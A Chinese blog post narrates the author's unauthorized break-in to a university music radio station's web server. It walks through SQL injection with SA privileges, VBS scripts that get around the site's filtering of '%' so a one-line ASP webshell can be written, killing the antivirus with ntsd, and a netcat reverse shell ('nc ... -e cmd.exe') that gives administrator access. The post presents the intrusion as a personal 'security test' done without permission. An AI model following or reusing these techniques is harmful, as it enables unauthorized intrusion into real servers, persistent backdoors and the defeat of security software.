入侵中VBS的灵活使用

By hack520 on

来这个城市快两年了,无用过时的垃圾课程,名目繁多的考试。让人感觉到大学生活的两个字“不爽”。只有一个音乐电台陪我度过了两年无聊的大学生活。

近日,去它的网站逛了逛,大脑一发热,决定给她做个安全测试。网页是htm形式的,在上面乱点了一阵。没有发现使用动态页面的地方。用SUPERSCAN扫了一下,发现机子开了80和8080端口(安全意识还不错)系统方面应该没有什么问题(最起码在我看来)。

记得以前看过一个动画,讲的是如何注入htm形式的网站。其实,说白了也就是在htm里找带有asp之类的地方,不知道它是不是存在这个问题。半天工夫之后,还真让我给找到了一个使用asp的地方,随手加了一个单引号,返回错误。 

依据返回的信息说明是SQL Server,看来不妙!网站使用的是独立服务器,因为用ip可以直接访问网站。用NBSI检测了一下这个连接,我靠!竟然是SA权限。

当时开始的时候,我是想先下载一个NC在NBSI里执行命令,然后再反向连接过来,这样就可以得到系统权限了。具体操作是用ECHO命令写一个ftp.txt。但是,我在输入命令之后发现结果并不像我想的那样顺利。当我输入一条echo命令发现竟然执行了7次。我的命令是echo open ftp.horizon.com>>F:webwsadhorizon.txt(F:web为网站的根目录)。但是,结果却是写了7次,如果这样下载文件肯定不会成功。

不知大家注意过没有?在用NBSI执行命令的时候如果勾选了尝试返回结果,执行命令就会很慢。所以,这里为了提高执行命令的速度,就不要勾选尝试返回结果。这里由于不能把open ftp.horizon.com成功写入horizon.txt。所以,得另辟它路。

前面没成功,接着我想到了<%execute request(“1”)%>这个经典中的经典。如果能把它写入web目录就好办多了。现在<%execute request(“1”)%>就像是过街老鼠人人喊打,处境悲惨。即使有被打的危险,也还是要过街。但是,这里却有一个问题就是在NBSI里执行时,文件中的%被过滤了,少了%,废物一个。

当时我想了一个办法,既然它过滤了%,那么我就找它没有过滤掉的字符。例如“*”,这样我就可以先把<*execute request(“1”)*>写入文件,然后再把文件中的*换成%不就可以了。年轻人嘛,说干就干。不过这里要用到几个脚本。写文件的脚本horzion.vbs,命令格式为cscript horizon.vbs“要写的东西“objectfile”,内容为。

上面文件需要用echo命令把它写到服务器上***.vbe或***.vbs,然后再用这个vbs写我们要的文件,上面文件中类似于:“,%,&:和回车符是不能直接作为参数传递给脚本文件的。所以,我们这里还需要一个替换文件horizon1.vbs,作用就是替换特定字符串了。

这里简单解释一下:on error resume next是一个容错语句,至关重要,不管后面的程序发生什么意外,整个程序都将继续执行下去,直至结束。其次是IF语句,为了防止多条语句重复向文件写入相同的内容,这里加了一个标志若x=1才执行写文件,写完马上把x赋值2。这里可能有人会问为什么在每条语句后都加个“:”,其实,这是为了防止同一行有多条相同语句的情况,保证程序的顺利执行。

这样程序就不能正常执行了。如果想把:“,%,&,回车符直接作为参数传递给脚本文件,这里可以看出回车被“==”所替换,双引号被**替换,&被—替换,%被@@替换,在程序开始之前,我们先把文件open.ftp.horizon.com转换成可以被horizon.vbs接受的格式。用脚本转换horizon.vbs。命令格式为:

cscript horizon1.vbs 源文件 目标文件。



在本机执行cscript horizon1.vbs horizon.txt horiozn1.txt。其中horizon.txt文件中的内容为一句话后门<%execute request(“1”)%>。horizon1.txt文件中的内容为转换之后的horizon.vbs的ECHO代码。

我们在NBSI的那边NB Commander中一句一句执行上面的命令,等执行完之后,就会在对方的系统目录下生成一个文件horizon.vbe接着执行命令:

cscript writefile.vbe “<@@execute request(**1**)@@.>”F:webwsadhorizon.asp

这样一来我们就把一句话后门成功地写进了对方WEB目录了,相应的地址就是:http://www.***.com/wsad/horizon.asp。然后在把post.htm的form action指向该地址就OK了。

小提示:当我们在给脚本文件传递参数的时候,如果参数中带有空格的时候,就得用两个双引号将其括起来。

这样一来一个WebShell就到手了,这里为了防止其他意外情况,我在 horizon.asp文件中加了一句验证if request(“id”)=“horizon” then。如果在没有加参数id=horizon的情况下访问该页面的时候,只会显示一个空页面。在一定程度上可以保护我的战果哦!

不过现在看来拿下这个WebShell还真是费了一翻周折,不过最终还是搞到手了。继而想借此WebShell做点文章,但是不料发现这台机子设置的还是蛮BT的。晕,我狂晕,晕过之后再醒过来。

接着net user命令成功完成。再来个net start,发现有Serv-u,好东西!接下来一口气输入了n个命令,此时情报已经收集的差不多了。情报到手,准备开战,此战中立功最大的莫过于cacls了。其实这个命令对于高手们来说早都用滥了。不过为了照顾像我一样的菜菜们,这里稍作解释。cacls这个命令可以解除系统对目录的浏览限制。至于其具体用法,大家可以字cmd下输入cacls /?了解。

本来认为有了Serv-u之后,提权就不会有多难了。但是,事实证明我错了。这个Serv-u对于各种攻势都不感冒,我最终是无功而返,看来管理员还是蛮勤快的,将补丁都打上了。

东方不亮,西方亮。此路不通,另觅它路,难不成要吊死在一棵树上。开始的时候就想下个nc.exe进去。但未成功,片刻的休息之后,我停止的引擎又再次飞快的转动起来。

WebShell上传nc.exe还算顺利,因为机子上的瑞星早被我用ntsd –c -q -p PID给干掉了。先在本地nc -vv -l -p 80监听,然后再用nc.exe反向连接过来就OK。不过开始的时候,我还是犯了一个常识性错误,当时我没有多想就用WebShell反向连接过来的。因为WebShell本身只有iusr权限,所以我们反向连接过来的也只有iusr权限喽!因为这个,我当时被搞了一头雾水,开始怎么也想不明白?后来才恍然大悟过来啊!不过,幸好我“反应”算迅速,没有再按照原来的思路走下去。上面我都已经说了,这里不能用WebShell,要用NBSI,因为NBSI里反向过来的是administrator权限。呵呵!(注意哦)

nc 222.90.***.244 -r 80 -e cmd .exe

这里 222.90.***.244是我的ip。顺利得到了对方的一个Shell(这个Shell可是administrator权限)。^O^

之后我还试着尝试了另外几个端口,结果是都可以正常的反向连接过来,至此我并没有再继续下去。至于刚开始时的失败,我后来才发现原因是因为用horizon.vbe写的那个下载文件失败了。下载的文件为0字节。开始并没有注意到这点,后来才发现,很郁闷!看来做事千万马虎不得。

最后总结这次入侵的经历,其实最终能成功也是有一些偶然,假设这台服务器如果是台虚拟主机而不是台独立的服务器,那么SQL就不可能是SA权限。继而后面的许多工作就不会顺利下去。其次,成功的另外一个因素就是灵活的脚本应用,不然一句话后门就写不进去,接着后面的工作就都是白搭,不过庆幸的是最后还是搞下了。

作者: Horizon

作者:hack520

文章链接:入侵中VBS的灵活使用

短连接:https://zhu.vn/?p=407

发表评论